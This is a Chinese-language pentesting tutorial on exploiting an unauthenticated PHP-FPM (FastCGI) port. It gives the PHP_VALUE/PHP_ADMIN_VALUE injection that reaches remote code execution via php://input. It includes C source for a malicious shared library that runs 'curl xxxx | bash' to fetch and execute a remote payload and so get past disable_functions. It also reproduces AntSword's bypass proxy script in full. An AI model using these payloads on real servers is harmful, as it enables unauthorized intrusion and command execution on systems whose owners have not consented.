# Fastcgi 协议

FastCGI(Fast Common Gateway Interface)是一种用于管理网页服务器和应用程序之间通信的协议。它允许 web 服务器将动态内容的生成委托给一个单独的 FastCGI 进程,这样可以提高性能和安全性。FastCGI 协议允许持续的连接,这意味着它可以减少服务器和应用程序之间的通信开销,从而提高了系统的效率。这种协议通常用于连接网页服务器(如 Apache 或 Nginx)和动态内容生成器(如 PHP、Python 或 Ruby 等)之间。

就是一种通信协议,包含 record 和 body

其中的 record 类似于 HTTP 请求的 header

有 7 中类型

type 值具体含义
1在与 php-fpm 建立连接之后发送的第一个消息中的 type 值就得为 1,用来表明此消息为请求开始的第一个消息
2异常断开与 php-fpm 的交互
3在与 php-fpm 交互中所发的最后一个消息中 type 值为此,以表明交互的正常结束
4在交互过程中给 php-fpm 传递环境参数时,将 type 设为此,以表明消息中包含的数据为某个 name-value 对
5web 服务器将从浏览器接收到的 POST 请求数据(表单提交等)以消息的形式发给 php-fpm,这种消息的 type 就得设为 5
6php-fpm 给 web 服务器回的正常响应消息的 type 就设为 6
7php-fpm 给 web 服务器回的错误响应设为 7

# PHP-FPM

FastCGI 进程管理器

管理器将按照 fastcgi 协议将 TCP 流解析成可识别的数据。

# FPM 未授权

FPM 的默认监听端口是 9000。当暴露在公网时,可以通过自行构造 CGI 协议的数据与其进行通信,代替后端发送一个伪造的请求。将原本的 /var/www/html 的路径,修改成我们想要读取或运行的程序,从而进行解析。

但是在之后的版本当中添加了默认选项,先顶了只有一些后缀的文件能被 fpm 执行。当指向其他的文件时会返回 Access denied.

在渗透过程中,服务器安装了 php。在默认的路径下可能存在一些 php 文件,可以通过本地搭建后全局搜索的方式查找,这样在没有上传点且后缀限制的情况下,给出了渗透的可能。

# 任意代码执行

在 FPM 的 type 的 4 中,有诸多环境变量。

一种环境变量 PHP_VALUEPHP_ADMIN_VALUE 是用来设置 PHP 配置项的。

PHP_VALUE 可以设置模式为 PHP_INI_USERPHP_INI_ALL 的选项, PHP_ADMIN_VALUE 可以设置除 disable_functions 外所有选项。因为该选项在 PHP 进行加载的时候就已经确定了,disable 的函数将直接不被加载。

在 PHP 的配置中又有两个选项: auto_prepend_file 和 auto_prepend_file。

auto_prepend_file 将在解析 php 文件前包含指定的 php 文件。 auto_prepend_file 将在解析后包含指定的文件。

再加上一个 php 伪协议就可以直接秒了。input 的条件: allow_url_include = On

于是构造一个 FPM 的请求包含如下参数:

'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

这样就会在解析前包含 POST 上来的数据,构成 RCE

# 绕过 disable_functions

普通的 FPM 方法是无法绕过只能达到 RCE,是没有办法绕过 disable_functions 的

所以要上传一个 so 库,使用 extension 扩展引用这个 so 库来绕过 disable_functions

使用生成工具或者 C 语言进行编译

// gcc -c -fPIC hack.c -o hack
// gcc --share hack -o hack.so
 
 
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
    system("curl xxxx | bash");
}

将生成的 so 文件上传

在 FPM 中引用: PHP_ADMIN_VALUE['extension'] = hack.so

这样就会触发

# 蚁剑 FPM 绕过 disable_functions

看到了 php 的路径 /www/server/php/56/etc

找到目标站点的 fpm 配置文件 /www/server/php/56/etc/php-fpm.conf

确定 fpm 的监听位置: /tmp/php-cgi-56.sock

在蚁剑中填入 FPM 的监听位置,运行一下,蚁剑会上传 .antproxy.php

重新添加一条记录,这个时候就已经是 bypass 了

其原理也比较简单,他上传的 so 是一个使用选择的 php 启动指定的网站目录,然后上传了一个代理程序来通过新启动的 php 服务进行访问: php -n -S 127.0.0.1:62409 -t /var/www/wwwroot 。这样就绕过了原本的 disable_functions 了

-S 参数会忽略 php.ini

以下为代理脚本内容:

<?php
// 获取客户端请求的 HTTP 头信息
function get_client_header(){
    $headers=array();
    foreach($_SERVER as $k=>$v){
        if(strpos($k,'HTTP_')===0){
            $k=strtolower(preg_replace('/^HTTP/', '', $k));
            $k=preg_replace_callback('/_\w/','header_callback',$k);
            $k=preg_replace('/^_/','',$k);
            $k=str_replace('_','-',$k);
            if($k=='Host') continue;
            $headers[]="$k:$v";
        }
    }
    return $headers;
}
// 转换 HTTP 头信息中的下划线为破折号
function header_callback($str){
    return strtoupper($str[0]);
}
// 解析 HTTP 响应中的头信息和内容
function parseHeader($sResponse){
    list($headerstr,$sResponse)=explode("\r\n\r\n",$sResponse, 2);
    $ret=array($headerstr,$sResponse);
    if(preg_match('/^HTTP\/1.1 \d{3}/', $sResponse)){
        $ret=parseHeader($sResponse);
    }
    return $ret;
}
// 设置执行时间限制
set_time_limit(120);
// 获取客户端的 HTTP 头信息
$headers=get_client_header();
// 定义主机和端口
$host = "127.0.0.1";
$port = 63499;
// 初始化错误信息和超时时间
$errno = '';
$errstr = '';
$timeout = 30;
// 定义 URL 路径
$url = "/shell.php";
// 如果有查询字符串,则添加到 URL 中
if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};
// 建立到主机的套接字连接
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;  // 如果连接失败则返回 false
}
// 初始化请求方法和 POST 数据
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
    $method = "POST";
    $post_data = file_get_contents('php://input');
}
// 构建 HTTP 请求头部
$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
    $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";
$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;
// 发送 HTTP 请求
fputs($fp, $out);
// 读取并存储响应数据
$response = '';
while($row=fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
// 从响应中提取内容部分
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;  // 输出响应内容